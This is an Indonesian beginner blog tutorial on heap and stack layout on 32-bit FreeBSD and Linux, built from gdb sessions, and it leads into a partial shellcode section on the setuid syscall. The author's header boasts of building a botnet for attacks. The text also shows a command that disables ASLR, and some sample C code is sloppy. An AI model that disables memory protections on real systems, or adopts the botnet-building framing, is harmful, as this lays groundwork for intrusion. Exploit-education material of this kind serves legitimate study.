weLcome

  • 1
  • 1
  • 1
  • 1

Minggu, 25 September 2011

Bermain main dengan heap dan stack di FreeBSD 32 bit

dj-wandy:

=========Bermain main dengan heap dan stack di FreeBSD 32 bit===============
Writer: mywisdom
New Team : devilzc0de.org
Article Level : for beginner
Old Team : http://web.archive.org/web/200408100...x/aboutus.html
"Curr3ntly d3v3l0p1ng b0tn3t to 1nf3ct w1n,l1nux and bsd for var1ous 4tt4ck 1nclud1ng r3fl3ct3d 4tt4cks (alr3ady more than 2 years, why ? 1 p3rs0n 0nly m4k1ng th1s)"
------------------------------------------
content:
- Foreword
- Bermain main dengan Heap di FreeBSD 8.2 (malloc, sys_brk)
- Valgrind & Alleyoop Memory Checker di linux 32 bit
- Bermain main dengan Stack di FreeBSD 8.2
- Bonus Stage #1: Cara Membuat shellcode di freebsd 8.2
- Closing

-[ Foreword ]-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
Mohon maaf yang sebesar2nya krn terbatasnya waktu jd di sini tidak disajikan artikel yang lengkap dan mendetail dan hanya ditujukan untuk pemula yg ingin
bermain2 dengan heap dan stack di freebsd dan linux.

-[ Bermain main dengan Heap di FreeBSD 8.2 ]-----------------------------------------------------------------------------------------------------------------------------------------------------------------------

Daerah heap dari suatu memori merupakan suatu daerah yang dinamis. Bagian ini bisa dimanage / dipengaruhi dengan menggunakan 
malloc , free, realloc, calloc, jemalloc (BSD), brk,delete. 
Kalo dilihat di atas memory area ada 2 yaitu heap dan satu lagi unused (tidak terpakai), yang dimaksud unused adalah daerah .bss . 
Bagian ini merupakan bagian deklarasi variabel yang tidak atau belum diisi, bagian ini akan diinialisasi saat run time.

~~malloc()~~

Ok untuk bermain main dengan heap kita mulai dengan contoh program dengan malloc untuk alokasi memori heap:
------------------------------------------------------------
/**sample heap (dynamic) memory allocation made by mywisdom**/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int main()
{
if (fork() != 0)
{ 
exit(1);
} 
char *bufer = (char *)malloc(sizeof(char));
memset(bufer, 'A', sizeof(char)-1);
printf("%p",bufer);
printf("\n================\n");
for(;
{
}
return(0);
}
-----------------------------------------------------

misal diberi nama malloc.c lalu kompile dan jalankan:
-------------------------
mywisdom# gcc -o malloc malloc.c -g
mywisdom# ./malloc
0x28201100
================
mywisdom# 
-------------------------

dari hasil di atas kita bisa melihat alamat memori heap yang dialokasikan dengan malloc dimulai dari alamat 0x28201100 (di tiap mesin dan sistem operasi beda beda). 

coba kita tes di mesin satu lagi dengan os freebsd 6.2:
-----------
%uname -a
FreeBSD myhost 6.3-PRERELEASE FreeBSD 6.3-PRERELEASE #1: Tue Nov 6 16:13:56 EST 2007 root@myhost.org:/usr/src/sys/i386/compile/MNET i386
%./malloc
%0x804b030
----------------
you'll see that's pretty much different.
ok kembali lagi ke freebsd 8.2, kita tes lagi untuk memahami operasi pada daerah heap:
--------------
/**malloc2 by mywisdom**/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define UKURAN1 8
#define UKURAN2 8
#define UKURAN3 8
int main()
{
char *bafer = (char *)malloc(UKURAN1);
memset(bafer, 'A', UKURAN1-1);
char *bafer2 = (char *)malloc(UKURAN2);
memset(bafer2, 'B', UKURAN2-1);
char *bafer3 = (char *)malloc(UKURAN3);
memset(bafer3, 'C', UKURAN3-1);
printf("\nalamat heap bafer 1 adalah %p\n", bafer);
printf("\nstring dump bafer 1 adalah %s\n", bafer);
printf("\nalamat heap bafer 2 adalah %p\n", bafer2);
printf("\nstring dump bafer 2 adalah %s\n", bafer2);
printf("\nalamat heap bafer 3 adalah %p\n", bafer3);
printf("\nstring dump bafer 3 adalah %s\n", bafer3);
return 0;
}
-----------
ayayayay gw tau kode di atas jelek krn harusnya pake looping ;p

kompile lalu debug dengan gdb:
-----------------------
mywisdom# gcc -o malloc2 malloc2.c -g
mywisdom# gdb -q malloc2
(gdb) l
1 /**malloc2 by mywisdom**/
2 #include <stdio.h>
3 #include <stdlib.h>
4 #include <unistd.h>
5 #include <string.h>
6 #define UKURAN1 8
7 #define UKURAN2 8
8 #define UKURAN3 8
9 int main()
10 {
(gdb) l
11 char *bafer = (char *)malloc(UKURAN1);
12 memset(bafer, 'A', UKURAN1-1);
13 char *bafer2 = (char *)malloc(UKURAN2);
14 memset(bafer2, 'B', UKURAN2-1);
15 char *bafer3 = (char *)malloc(UKURAN3);
16 memset(bafer3, 'C', UKURAN3-1);
17 printf("\nalamat heap bafer 1 adalah %p\n", bafer);
18 printf("\nstring dump bafer 1 adalah %s\n", bafer);
19 printf("\nalamat heap bafer 2 adalah %p\n", bafer2);
20 printf("\nstring dump bafer 2 adalah %s\n", bafer2);
(gdb) l
21 printf("\nalamat heap bafer 3 adalah %p\n", bafer3);
22 printf("\nstring dump bafer 3 adalah %s\n", bafer3);
23 return 0;
24 }
(gdb) 

----------------------

selanjutnya break di line 23 dan tes run:



----------------
(gdb) b 23
Breakpoint 1 at 0x80485b1: file malloc2.c, line 23.
(gdb) run
Starting program: /root/c/malloc2 

alamat heap bafer 1 adalah 0x28201050

string dump bafer 1 adalah AAAAAAA

alamat heap bafer 2 adalah 0x28201058

string dump bafer 2 adalah BBBBBBB

alamat heap bafer 3 adalah 0x28201060

string dump bafer 3 adalah CCCCCCC

Breakpoint 1, main () at malloc2.c:23
23 return 0;
(gdb) x/3s 0x28201050
0x28201050: "AAAAAAA" (673189968)
0x28201058: "BBBBBBB" (673189976)
0x28201060: "CCCCCCC" (673189984) 
(gdb) 
---------------------

dari dump string kita lihat length cuma 7 karena instruksi : memset(bafer2, 'B', UKURAN2-1); karena : #define UKURAN2 8 jadi 8-1=7 

kita bandingkan sebentar dengan operasi pada stack, misal buat suatu program dg nama strncpy.c :
--------------------------
/**sample stack operation local var by mywisdom**/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int main(int argc,char *argv[])
{
char *bafer[8];
char *bafer2[8];
char *bafer3[3];
strncpy (bafer,argv[1],8);
strncpy (bafer2,argv[2],8);
strncpy (bafer3,argv[3],8);
printf("\nalamat stack bafer 1 adalah %p\n", bafer);
printf("\nstring dump bafer 1 adalah %s\n", bafer);
printf("\nalamat stack bafer 2 adalah %p\n", bafer2);
printf("\nstring dump bafer 2 adalah %s\n", bafer2);
printf("\nalamat stack bafer 3 adalah %p\n", bafer3);
printf("\nstring dump bafer 3 adalah %s\n", bafer3);
return 0;
}
------------------------------

kompile dengan opsi -g: dan debug dengan break di line 20
----------
mywisdom# gdb -q strncpy
(gdb) l
1 /**sample stack operation local var by mywisdom**/
2 #include <stdio.h>
3 #include <stdlib.h>
4 #include <unistd.h>
5 #include <string.h>
6 int main(int argc,char *argv[])
7 {
8 char *bafer[8];
9 char *bafer2[8];
10 char *bafer3[3];
(gdb) l
11 strncpy (bafer,argv[1],8);
12 strncpy (bafer2,argv[2],8);
13 strncpy (bafer3,argv[3],8);
14 printf("\nalamat stack bafer 1 adalah %p\n", bafer);
15 printf("\nstring dump bafer 1 adalah %s\n", bafer);
16 printf("\nalamat stack bafer 2 adalah %p\n", bafer2);
17 printf("\nstring dump bafer 2 adalah %s\n", bafer2);
18 printf("\nalamat stack bafer 3 adalah %p\n", bafer3);
19 printf("\nstring dump bafer 3 adalah %s\n", bafer3);
20 return 0;
(gdb) b 20
Breakpoint 1 at 0x8048553: file strncpy.c, line 20.
(gdb) run AAAAAAA BBBBBBB CCCCCCC
Starting program: /root/c/strncpy AAAAAAA BBBBBBB CCCCCCC

alamat stack bafer 1 adalah 0xbfbfe990

string dump bafer 1 adalah AAAAAAA

alamat stack bafer 2 adalah 0xbfbfe970

string dump bafer 2 adalah BBBBBBB

alamat stack bafer 3 adalah 0xbfbfe964

string dump bafer 3 adalah CCCCCCC

Breakpoint 1, main (argc=4, argv=0xbfbfea0c) at strncpy.c:20
20 return 0;
(gdb) 
----------

ok jika kita bandingkan dengan debug program dengan operasi pada heap:

malloc2.c (we're playing at heap):
-----------
0x28201050: "AAAAAAA" (673.189.968)
0x28201058: "BBBBBBB" (673.189.976)
0x28201060: "CCCCCCC" (673.189.984) 
------------

di sini kita bisa lihat tiap ada alokasi baru dengan malloc() maka alamat memori akan bergerak ke atas ke alamat yg lebih tinggi

strncpy.c (we're playin at stack area)
-------------------
0xbfbfe990: "AAAAAAA" (3.217.025.424)
0xbfbfe970: "BBBBBBB" (3.217.025.392)
0xbfbfe964: "CCCCCC" (3.217.025.380)
-----------------

sebaliknya terjadi pada operasi stack, saat ada tumpukan baru alamat memori bergerak ke bawah ke alamat yang lebih rendah.

(alamat memori yang lebih rendah)

berikut ini gambaranya:

[img]https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJbdxF-WS4Udij2jHCT52TWgn3ep7ftTU6KAbGkLaFJTXNmcoEw8MJ-l7V16X8zk0fn0k1zN4SWhIJCUxXpOWN2PuREM6gqOja90oCRmYDIVr-cG5qidUgbUzUDR2IKbLUyaiZPomBgw0/s1600/memlay.jpg">


----------penggunaan sys_brk di linux dan freebsd----------
Misal berikut ini contoh kode assembly untuk implementasi sys_brk

mov ebx, 0
mov eax, 0x2d ;----------> syscall sys_brk 
int 0x80
test eax, eax 
js label_error_handling_here

ebx bisa diisi dengan zero atau non zero, krn kita tidak tau alamat memori yang tersedia maka ebx kita isi dengan zero.

setelah itu nilai eax perlu dites: test eax,eax atau cmp eax,0
jika minus 
berarti terjadi kegagalan. 

berikut ini contoh penggunaan sys_brk:

root@mywisdom-Vostro1310:~/asm# cat sys_brk.asm
global _start
section .text
_start:
mov ebx, 0
mov eax, 0x2d
int 0x80 
cmp eax, 0 
jl gagal
jmp sukses 



;not efficient way dont do this in real code 
sukses:
mov eax, 4
mov ebx, 1
mov ecx, berhasil
mov edx, pberhasil
int 0x80

mov eax,1
mov ebx,0
int 0x80 


gagal:
mov eax, 4
mov ebx, 1
mov ecx, salah
mov edx, psalah
int 0x80

mov eax,1 
mov ebx,0
int 0x80 

section .data
salah db "sys_brk gagal !!!",10
psalah equ $ -salah 

berhasil db "sys_brk berhasil !!!",10
pberhasil equ $ -berhasil 

root@mywisdom-Vostro1310:~/asm# nasm -f elf sys_brk.asm
root@mywisdom-Vostro1310:~/asm# ld -o sys_brk sys_brk.o
root@mywisdom-Vostro1310:~/asm# ./sys_brk
sys_brk berhasil !!!
root@mywisdom-Vostro1310:~/asm# 

untuk mempermudah debugging tambahkan opsi -g



root@mywisdom-Vostro1310:~/asm# nasm -f elf sys_brk.asm -g
root@mywisdom-Vostro1310:~/asm# ld -o sys_brk sys_brk.o



mari kita examine dengan strace

root@mywisdom-Vostro1310:~/asm# strace ./sys_brk
execve("./sys_brk", ["./sys_brk"], [/* 39 vars */]) = 0
brk(0) = 0x81e2000
write(1, "sys_brk berhasil !!!\n", 22sys_brk berhasil !!!
) = 22
_exit(0) = ?
root@mywisdom-Vostro1310:~/asm# 

sedangkan untuk mencoba sys_brk di freebsd mari kita lihat dulu:
-----------------
mywisdom# cat /usr/include/sys/syscall.h | grep brk
#define SYS_sbrk 69
mywisdom# 
------------------

jadi berikut ini rutin untuk memanggil sys brk:
-------------------------------------
mov $0, %ebx 
mov $45,%eax 
int $0x80
test %eax, %eax 
js _gagal
----------------------------------
karena 69 desimal= 45 hexa

berikut ini contoh kode assembly untuk sys_brk:
========================
.section .rodata
evilbuf:
.ascii "sys_brk berhasil !"
len = . - evilbuf
evilbuf2:
.ascii "sys_brk gagal !"
len2 = . - evilbuf2


.globl _start
_start:
mov $0, %ebx 
mov $45,%eax 
int $0x80
test %eax, %eax 
js _gagal

pushl $len
pushl $evilbuf
pushl $1
movl $4,%eax
pushl %eax
int $0x80
jmp _out

_gagal:
pushl $len2
pushl $evilbuf2
pushl $1
movl $4,%eax
pushl %eax
int $0x80


_out:
movl $1, %eax
pushl $0
pushl %eax
int $0x80
=============================




--[ Penggunaan Valgrind & Alleyoop Memory Checker di linux 32 bit]---------------------------------------------------------------------------------------------------------------------------------

Alleyoop merupakan gui untuk mengeksekusi valgrind di gnome. valgrind biasa digunakan untuk debug memori, mendeteksi memory leak, dll.
Pertama tama kita tes penggunaan malloc dengan source yg sama seperti di atas, kali ini dites di linux :

[img]https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYN7GJGAgIHzkIn_NAeisNG3D1vw1C97EalFANuMt_Yn-VOZDribsPGgSt3SzaG_Mx9Qca24OZ6SvRhzfR9fiMDHhVhhIiT4bSwylQQifhyphenhyphenJ_wShCSGAuCvGLg1PAAnfw68kmu4JLXwto/s1600/fmtx.jpg">
------------
root@mywisdom-Vostro1310:/opt# cat /proc/sys/kernel/randomize_va_space
2
-------------
keliatan alamat memori heap yg dialokasi dirandom, untuk itu kita matikan dulu:
---------------
echo 0 > /proc/sys/kernel/randomize_va_space
-------------

setelah dimatikan alamat virtual address memori menjadi tetap :
-------------------------------
root@mywisdom-Vostro1310:/home/mywisdom/artikel/c# ./malloc
root@mywisdom-Vostro1310:/home/mywisdom/artikel/c# 0x804b008
================

root@mywisdom-Vostro1310:/home/mywisdom/artikel/c# ./malloc
root@mywisdom-Vostro1310:/home/mywisdom/artikel/c# 0x804b008
================
-------------------------------

Untuk menguji dengan Alleyoop :



valgrind bisa juga dites langsung dari cli:
---------------------
root@mywisdom-Vostro1310:/home/mywisdom/artikel/c# valgrind ./malloc
==13455== Memcheck, a memory error detector
==13455== Copyright (C) 2002-2010, and GNU GPL'd, by Julian Seward et al.
==13455== Using Valgrind-3.6.1 and LibVEX; rerun with -h for copyright info
==13455== Command: ./malloc
==13455== 
0x4198028
================
==13455== 
==13455== HEAP SUMMARY:
==13455== in use at exit: 0 bytes in 0 blocks
==13455== total heap usage: 0 allocs, 0 frees, 0 bytes allocated
==13455== 
==13455== All heap blocks were freed -- no leaks are possible
==13455== 
==13455== For counts of detected and suppressed errors, rerun with: -v
==13455== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 11 from 6)
root@mywisdom-Vostro1310:/home/mywisdom/artikel/c# 
------------------------------------------------



--[ Bermain main dengan Stack di FreeBSD 8.2]------------------------------------------------------------------------------------------------------------------------------

untuk memahami cara kerja stack mari kita buat sample program assembly untuk bermain main dengan variabel lokal :
-----------------------
global _start
section .text
_start:
push ebp
mov ebp,esp
push 'AAAA'
push 'BBBB'
push 'CCCC'
push 'DDDD'
push 'EEEE'
push 'FFFF'
push 'GGGG'
push 'HHHH'
push 1
pop eax
int 80h
-------------------------

lakukan kompile dengan opsi -g : 
nasm -f elf stack.asm
ld -o stack stack.o

examine dengan gdb:
----------------------------------
mywisdom# gdb -q stack
(gdb) l
1 global _start
2 section .text
3 _start:
4 push ebp
5 mov ebp,esp
6 push 'AAAA'
7 push 'BBBB'
8 push 'CCCC'
9 push 'DDDD'
10 push 'EEEE'
(gdb) l
11 push 'FFFF'
12 push 'GGGG'
13 push 'HHHH'
14 push 1
15 pop eax 
16 int 80h
(gdb) b 6
Breakpoint 2 at 0x8048083: file stack.asm, line 6.
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/c/stack 

Breakpoint 2, 0x08048083 in _start ()
(gdb) p $esp
$4 = (void *) 0xbfbfea30
(gdb) p $ebp
$5 = (void *) 0xbfbfea30
-----------------------

karena perintah:
--------------------------
mov ebp,esp
--------------------------

---------------------
(gdb) b 7
Breakpoint 1 at 0x8048088: file stack.asm, line 7.
(gdb) run
Starting program: /root/c/stack 

Breakpoint 1, 0x08048088 in _start ()
(gdb) i r
eax 0x0 0
ecx 0x0 0
edx 0x0 0
ebx 0x0 0
esp 0xbfbfea2c 0xbfbfea2c
ebp 0xbfbfea30 0xbfbfea30
esi 0x0 0
edi 0x0 0
eip 0x8048088 0x8048088
eflags 0x202 514
cs 0x33 51
ss 0x3b 59
ds 0x3b 59
es 0x3b 59
fs 0x3b 59
gs 0x3b 59
(gdb) 
---------------------


kita bisa lihat ada perubahan :

-----------------------------
esp 0xbfbfea2c (3217025580)
ebp 0xbfbfea30 (3217025584)
---------------------------

di sini kita bisa lihat dari top of stack telah dipush word pertama 'AAAA' :
---------------------------
(gdb) x/s 0xbfbfea2c
0xbfbfea2c: "AAAA"
(gdb) 
--------------------------

push 'BBBB':
esp 0xbfbfea28 (3217025576)
ebp 0xbfbfea30 (3217025584)

(gdb) x/s 0xbfbfea28
0xbfbfea28: "BBBBAAAA"
(gdb) 

---------------
s/d HHHH:
esp 0xbfbfea10 (3217025552)
ebp 0xbfbfea30 (3217025584)

(gdb) x/s 0xbfbfea10
0xbfbfea10: "HHHHGGGGFFFFEEEEDDDDCCCCBBBBAAAA"
(gdb) 
------------------

Dari gambaran di atas kita sudah mengetahui cara kerja stack dengan operasi push, saat terjadi push nilai esp setiap kali kita melakukan push
selalu bergeser ke alamat memori yang lebih kecil,
Selisih antara ebp dan esp ---- 0xbfbfea30-0xbfbfea10 = 20h = 32 desimal = jumlah karakter yang telah dipush.

selanjutnya kita akan melakukan tes pop :

misal kita edit program tadi kita tambahkan pop:
pop.asm
------------------------
global _start
section .text
_start:
push ebp
mov ebp,esp
push 'AAAA'
push 'BBBB'
push 'CCCC'
push 'DDDD'
push 'EEEE'
push 'FFFF'
push 'GGGG'
push 'HHHH'
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
push 1
pop eax
int 80h
-------------------------

dengan : pop eax berarti kita memindahkan top stack ke register eax.

simpan dengan nama misal : pop.asm lalu kompile dan debug:
------------
mywisdom# nasm -f elf pop.asm -g
mywisdom# ld -o pop pop.o
mywisdom# gdb -q pop
(gdb) l
1 global _start
2 section .text
3 _start:
4 push ebp
5 mov ebp,esp
6 push 'AAAA'
7 push 'BBBB'
8 push 'CCCC'
9 push 'DDDD'
10 push 'EEEE'
(gdb) l
11 push 'FFFF'
12 push 'GGGG'
13 push 'HHHH'
14 pop eax
15 pop eax
16 pop eax
17 pop eax
18 pop eax
19 pop eax
20 pop eax
(gdb) l
21 pop eax
22 push 1
23 pop eax
24 int 80h
(gdb) b 15
Breakpoint 1 at 0x80480ac: file pop.asm, line 15.
(gdb) run
Starting program: /root/c/pop 

Breakpoint 1, 0x080480ac in _start ()
(gdb) i r
eax 0x48484848 1212696648
ecx 0x0 0
edx 0x0 0
ebx 0x0 0
esp 0xbfbfea28 0xbfbfea28
ebp 0xbfbfea44 0xbfbfea44
esi 0x0 0
edi 0x0 0
eip 0x80480ac 0x80480ac
eflags 0x202 514
cs 0x33 51
ss 0x3b 59
ds 0x3b 59
es 0x3b 59
fs 0x3b 59
gs 0x3b 59
(gdb) x/s 0xbfbfea28
0xbfbfea28: "GGGGFFFFEEEEDDDDCCCCBBBBAAAA"
(gdb) 
----------

kita di sini bisa lihat setelah dilakukan pop jika didump data berupa string mulai dari 0xbfbfea28 maka sisanya adl: GGGGFFFFEEEEDDDDCCCCBBBBAAAA (Last in first Out)


-------------
mywisdom# gdb -q stack
(gdb) l
warning: Source file is more recent than executable.

1 global _start
2 section .text
3 _start:
4 push ebp
5 mov ebp,esp
6 push 'AAAA'
7 push 'BBBB'
8 push 'CCCC'
9 push 'DDDD'
10 push 'EEEE'
(gdb) l
11 push 'FFFF'
12 push 'GGGG'
13 push 'HHHH'
14 pop eax
15 pop eax
16 pop eax
17 pop eax
18 pop eax
19 pop eax
20 pop eax
(gdb) b 12
Breakpoint 1 at 0x80480a1: file stack.asm, line 12.
(gdb) run
Starting program: /root/c/stack 

Breakpoint 1, 0x080480a1 in _start ()
(gdb) i r
eax 0x0 0
ecx 0x0 0
edx 0x0 0
ebx 0x0 0
esp 0xbfbfea1c 0xbfbfea1c
ebp 0xbfbfea34 0xbfbfea34
esi 0x0 0
edi 0x0 0
eip 0x80480a1 0x80480a1
eflags 0x202 514
cs 0x33 51
ss 0x3b 59
ds 0x3b 59
es 0x3b 59
fs 0x3b 59
gs 0x3b 59
(gdb) x/s $ebp-4
0xbfbfea30: "AAAA"
(gdb) x/s $ebp-8
0xbfbfea2c: "BBBBAAAA"
(gdb) x/s $ebp-12
0xbfbfea28: "CCCCBBBBAAAA"
(gdb) x/s $ebp-14
0xbfbfea26: "DDCCCCBBBBAAAA"
(gdb) info frame
Stack level 0, frame at 0xbfbfea3c:
eip = 0x80480a1 in _start; saved eip 0x1
called by frame at 0x0
Arglist at 0xbfbfea34, args: 
Locals at 0xbfbfea34, Previous frame's sp is 0xbfbfea3c
Saved registers:
ebp at 0xbfbfea34, eip at 0xbfbfea38

----------------------------
di sini jika kita dump alamat memori dari $ebp-4 maka kita dapatkan tumpukan paling bawah dengan hasil dump : "AAAA"
dan seterusnya...

Pada contoh di atas kita menggunakan variabel lokal. Selanjutnya kita akan pakai bahasa C untuk menguji coba parameter 

mywisdom.c :
--------------------------------
#include <stdio.h>
int main(int argc,char **argv[])
{
printf("%s %s\n",argv[1],argv[2]);
printf("%08x %08x\n",argv[1],argv[2]);
return 0;
}
-------------------------------

kompile dan tes:
--------------
mywisdom# gcc -o mywisdom mywisdom.c -g
mywisdom# ./mywisdom a b
a b
bfbfebbb bfbfebbd
mywisdom# 
----------------

ok mari kita debug:

----------------------
mywisdom# gdb -q mywisdom
(gdb) l
1 #include <stdio.h>
2 int main(int argc,char **argv[])
3 {
4 printf("%s %s\n",argv[1],argv[2]);
5 printf("%08x %08x\n",argv[1],argv[2]);
6 return 0;
7 }
8 
(gdb) b 6
Breakpoint 1 at 0x804849c: file mywisdom.c, line 6.
(gdb) run AAAA BBBB
Starting program: /root/c/mywisdom AAAA BBBB
AAAA BBBB
bfbfeba1 bfbfeba6

Breakpoint 1, main (argc=3, argv=0xbfbfea18) at mywisdom.c:6
6 return 0;
(gdb) 
-----------------------

string AAAA (parameter ke 1 ) bisa kita dump mulai alamat memori 0xbfbfeba1 :
-----------
(gdb) x/s 0xbfbfeba1
0xbfbfeba1: "AAAA"
(gdb) 
-------------

string BBBB (parameter ke 2 ) bisa kita dump mulai alamat memori 0xbfbfeba6
---------------
(gdb) x/s 0xbfbfeba6
0xbfbfeba6: "BBBB"
(gdb) info frame
Stack level 0, frame at 0xbfbfe9d0:
eip = 0x804849c in main (mywisdom.c:6); saved eip 0x80483c7
source language c.
Arglist at 0xbfbfe9ac, args: argc=3, argv=0xbfbfea18
Locals at 0xbfbfe9ac, Previous frame's sp at 0xbfbfe9c0
Saved registers:
ebx at 0xbfbfe9c4, ebp at 0xbfbfe9c8, eip at 0xbfbfe9cc
(gdb) x/30s 0xBFBFEB8D 
0xbfbfeb8d: ""
0xbfbfeb8e: ""
0xbfbfeb8f: ""
0xbfbfeb90: "/root/c/mywisdom"
0xbfbfeba1: "AAAA"
0xbfbfeba6: "BBBB"
0xbfbfebab: "COLUMNS=80"
0xbfbfebb6: "LINES=24"
0xbfbfebbf: "ORBIT_SOCKETDIR=/var/tmp/orbit-root"
0xbfbfebe3: "WINDOWPATH=9"
0xbfbfebf0: "DISPLAY=:0.0"
0xbfbfebfd: "GNOME_KEYRING_PID=1974"
0xbfbfec14: "GDM_KEYBOARD_LAYOUT=us"
0xbfbfec2b: "LOGNAME=root"
0xbfbfec38: "PWD=/root/c"
0xbfbfec44: "HOME=/root"
---------------------


Gambaran Memori Saat printf dipanggil dari main() :

------------------------------------------------
0xbfbfeba6 | parameter ke 2 (ebp+1DE)|"BBBB" (3217025958) 
0xbfbfeba1 | parameter ke 1 (ebp+1D5) | "AAAA" (3217025953) 
0xbfbfeb90 | parameter ke 0 (ebp+1c8) | /root/c/mywisdom (3217025936)
0xbfbfe9cc | eip (ebp+4) | (3217025484) 
0xbfbfe9c8 | ebp | (3217025480)
0xbfbfe9b0 | esp | (3217025456)
-------------------------------------------------- 

****contoh debugging program dengan operasi stack
---------------------
/**operasi stack di c by mr dom dom**/
#include <stdio.h>
void operasi_stak(char a[],char b[],char c[],char d[])
{

}
int main(int argc, char *argv[])
{
operasi_stak("AAAA","BBBB","CCCC","DDDD");
return 0;
}


-----------------------
misal kita beri nama stack.c lalu kompile: gcc -o stack stack.c -g

lalu examine dengan gdb:

---------------
mywisdom# gdb -q stack
(gdb) l
1 /**operasi stack di c by mr dom dom**/
2 #include <stdio.h>
3 void operasi_stak(char a[],char b[],char c[],char d[])
4 {
5 
6 }
7 int main(int argc, char *argv[])
8 {
9 operasi_stak("AAAA","BBBB","CCCC","DDDD");
10 return 0;
(gdb) 

----------------------


Lakukan break di line 9 saat terjadinya operasi stack:
----------------
(gdb) b 9
Breakpoint 2 at 0x8048431: file stack.c, line 9.
--------------
tes run :
------------------
(gdb) run
Starting program: /root/artikel/c/stack 

Breakpoint 1, main () at stack.c:9
warning: Source file is more recent than executable.

9 operasi_stak("AAAA","BBBB","CCCC","DDDD");
(gdb) 


----------------

lakukan dissasemble terhadap fungsi main (dump 16 instruksi assembly mulai dari main):
----------------------------------
(gdb) x/16i main
0x8048420 <main>: lea 0x4(%esp),%ecx
0x8048424 <main+4>: and $0xfffffff0,%esp
0x8048427 <main+7>: pushl 0xfffffffc(%ecx)
0x804842a <main+10>: push %ebp
0x804842b <main+11>: mov %esp,%ebp
0x804842d <main+13>: push %ecx
0x804842e <main+14>: sub $0x10,%esp
0x8048431 <main+17>: movl $0x8048501,0xc(%esp)
0x8048439 <main+25>: movl $0x8048506,0x8(%esp)
0x8048441 <main+33>: movl $0x804850b,0x4(%esp)
0x8048449 <main+41>: movl $0x8048510,(%esp)
0x8048450 <main+48>: call 0x8048410 <operasi_stak>
0x8048455 <main+53>: mov $0x0,%eax
0x804845a <main+58>: add $0x10,%esp
0x804845d <main+61>: pop %ecx
0x804845e <main+62>: pop %ebp
(gdb) step 
operasi_stak (a=0x8048510 "AAAA", b=0x804850b "BBBB", c=0x8048506 "CCCC", 
d=0x8048501 "DDDD") at stack.c:6
6 }
(gdb) info frame
Stack level 0, frame at 0xbfbfe994:
eip = 0x8048413 in operasi_stak (stack.c:6); saved eip 0x8048455
called by frame at 0xbfbfe9b0
source language c.
Arglist at 0xbfbfe98c, args: a=0x8048510 "AAAA", b=0x804850b "BBBB", 
c=0x8048506 "CCCC", d=0x8048501 "DDDD"
Locals at 0xbfbfe98c, Previous frame's sp is 0xbfbfe994
Saved registers:
ebp at 0xbfbfe98c, eip at 0xbfbfe990
(gdb) 
-----------------------

(alamat memori: 0x8048420 s/d 0x804845e merupakan bagian segment .text)

* penjelasan instruksi assembly yang didump:
ok jika kita lihat pertama 2 : lea 0x4(%esp),%ecx , di sini untuk menyimpan alamat dari argumen ke 0 ke register cx (ebp-4).
selanjutnya diikuti oleh rutin: and $0xfffffff0,%esp, perhatian $0xfffffff0 di sini maksudnya bukan alamat memori, jika kita konvert ke biner:
0xfffffff0 = 11111111111111111111111111110000
selanjutnya instruksi : pushl 0xfffffffc(%ecx) atau bisa juga ditulis: mov dword ptr[ebp-4],1

selanjutnya akan dipersiapkan stack frame pointer baru :
push %ebp
mov %esp,%ebp

variabel diinput ke stack mulai dari yang paling kanan dan selanjutnya s/d ke kiri: 
string dump DDDD pada alamat 0x8048501 setelah itu yang di lanjutkan CCCC dst
------------------------
(gdb) x/4s 0x8048501
0x8048501 <_fini+101>: "DDDD"
0x8048506 <_fini+106>: "CCCC"
0x804850b <_fini+111>: "BBBB"
0x8048510 <_fini+116>: "AAAA"
(gdb) 
--------------------
berada pada region elf <fini>. Pada saat fungsi dipanggil maka alamat eip untuk jmp kembali setelah pemanggilan fungsi akan disimpan di frame pointer
---------------------------------------

jika digambarkan lebih lengkap tentang variabel lokal (buffer) dan parameter serta stack frame pointer kurang lebih seperti ini:

[img]https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4t9W02maBCvR9cSqdEEzi9itpCn72jFVLl-XKE9hdkMUOLCmt5Z7cQFSXGMk-XdJJkgDXypqy-uEWCa_Oc0RjnElYGvTppmKZHUebIIR_3A9j5QPihViKSImQkgEs8zOSIvSVbH5I0qk/s1600/fmt2.jpg">

Ret / EIP berisi alamat memori untuk return address ke bagian eksekusi kode selanjutnya. ebp disebut juga frame pointer. 

eip 0xbfbfea38 (3217025592)
ebp 0xbfbfea34 (3217025588)

Untuk lebih detailnya gambaranya adl sbb:

[img]https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYZYXDCKg2O7ruYIy0afL5beM6Gusxzvu82Dhn7xnqw-JAMJVV1Y5ytYiI-OKOzDn2WNtLPU2mSQhMOysY6qdyjAUDVMBWc6uaMdehzFl8JxmnrhpGKYv9133HC8_gvJXzggQvXAoFtJQ/s1600/fmt3.jpg">

-----------------
-[Membuat shellcode di Freebsd 8.2 ]-----------------------------------------------------------------------------------------------------------------------------

"mengakses register lebih cepat dari mengakses memori karena register ada 
di cpu dan memori baru terhubung ke cpu melalui bus"

kali ini kita akan membuat shellcode untuk Freebsd 8.2 , masih pake 32 bit 
------------------------
mywisdom# uname -a
FreeBSD mywisdom.org 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Fri Feb 18 
02:24:46 UTC 2011 
root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386
mywisdom# 
-----------------------
untuk freebsd 8.2 daftar syscall bisa dilihat di 
/usr/include/sys/syscall.h

-------------------
mywisdom# cat /usr/include/sys/syscall.h | grep setuid
#define SYS_setuid 23
-------------------

jadi kita perlu mengisi eax dengan 17 hexa (konversi dari 23 desimal=17 
hexa)
----------------
mov eax,0x17
int 80h
--------------
0x: berarti kita akan memindahkan angka berformat hex

untuk memastikanya coba kita liat lagi di /usr/include/unistd.h:
---------------------------
mywisdom# cat /usr/include/unistd.h | grep setuid
int setuid(uid_t);
---------------------------

terlihat hanya 1 parameter, untuk fungsi di bawah 6 argumen urutan 
pemasukanya selalu : eax, ebx, ecx, edx, esi 

